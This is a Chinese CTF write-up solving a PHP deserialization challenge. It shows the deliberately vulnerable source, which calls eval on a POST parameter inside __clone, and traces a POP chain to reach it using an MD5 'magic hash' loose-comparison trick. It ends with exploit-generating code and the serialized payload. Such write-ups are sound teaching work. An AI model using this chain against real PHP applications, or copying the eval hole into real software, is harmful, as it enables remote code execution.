(这道题还是一个关于 PHP 的一道反序列化题目,不懂这块的还是先去看看这篇文章–正 OR 反序列化)
1.dd 给大家看这道题的源代码
<?php
highlight_file(__FILE__);
class B{
public $pop;
public $i;
public $nogame;
public function __destruct()
{
if(preg_match("/233333333/",$this->pop)){
echo "这是一道签到题,不能让新生一直做不出来遭受打击";
}
}
public function game(){
echo "扣1送地狱火";
if ($this->i = "1"){
echo '<img src=\'R.jpg\'>';
$this->nogame->love();
}
}
public function __clone(){
echo "必须执行";
eval($_POST["cmd"]);
}
}
class A{
public $Aec;
public $girl;
public $boy;
public function __toString()
{
echo "I also want to fall in love";
if($this->girl != $this->boy && md5($this->girl) == md5($this->boy)){
$this->Aec->game();
}
}
}
class P{
public $MyLover;
public function __call($name, $arguments)
{
echo "有对象我会在这打CTF???看我克隆一个对象!";
if ($name != "game") {
echo "打游戏去,别想着对象了";
$this->MyLover = clone new B;
}
}
}
if ($_GET["A_B_C"]){
$poc=$_GET["A_B_C"];
unserialize($poc);
}
简单做个分析,还是先找危险函数很显然就是这个 B 类里面的__clone(),这个往前推就是 P.__call(),因为要执行这个__call 的函数,就是要找到一个不存在该类中的方法,很显然就是 B.game(),而调用此方法的话就会用到 A.__toString(),再往前推就是 B.__destruct()了
2.然后有个同届的人问我,在从正则到 tostring 这一步,最正常的写法应该就是’‘$a->pop=$b;’‘,但能不能写成’‘$a->i=$b;’‘然后”$a->pop=$a->i”呢?但我给大家画张图,你们应该就明白了
现在应该是这个样子的,他想如果把 pop 再等于$a的话,pop是不是就相当于是包含i了,进一步的话,也是包含$b 的,但你看图,如果 pop 再等于$a的话,大家可能想的是应该就是在pop这个小格子里面继续去分,但其实并不是这样的,就是实实在在的pop完全包含了$a,可能这里有点抽象,它们之间的关系就是一种你包含我,我也包含你的互相包含的关系,下面我也自己写了一个例子
<?php
class Person{
public $name;
public $sex;
public function __destruct()
{
echo "我觉得我还可以再抢救一下,我的名字叫".$this->name;
}
}
class A{
public $Aec;
public $girl;
public $boy;
public function __toString()
{
echo "I also want to fall in love";
}
}
$a = new Person();
$b = new A();
$a->sex = $b;
$a->name = $a->sex;
unset($a);
?>
你看,这样也是能正常输出的
3.诶呀诶呀跑偏了,具体的再那篇文章–正 XOR 反序列化再说吧,然后这道题的 pop 链就是
B.__destruct() --> A.__toString() --> B.game() --> P.__call() --> B.__clone()
根据这个还是很容易就能写出 exp 的
<?php
class B{
public $pop='233333333';
public $i="1";
public $nogame;
}
class A{
public $Aec;
public $girl='QNKCDZO';
public $boy='240610708';
}
class P{
public $MyLover;
}
$a=new B();
$b=new A();
$c=new P();
$a->pop=$b;
$b->Aec=$a;
$b->Aec->nogame=$c;
echo serialize($a);
?>
得到结果
O:1:"B":3:{s:3:"pop";O:1:"A":3:{s:3:"Aec";r:1;s:4:"girl";s:7:"QNKCDZO";s:3:"boy";s:9:"240610708";}s:1:"i";s:1:"1";s:6:"nogame";O:1:"P":1:{s:7:"MyLover";N;}}
得到 flag
Finish!!!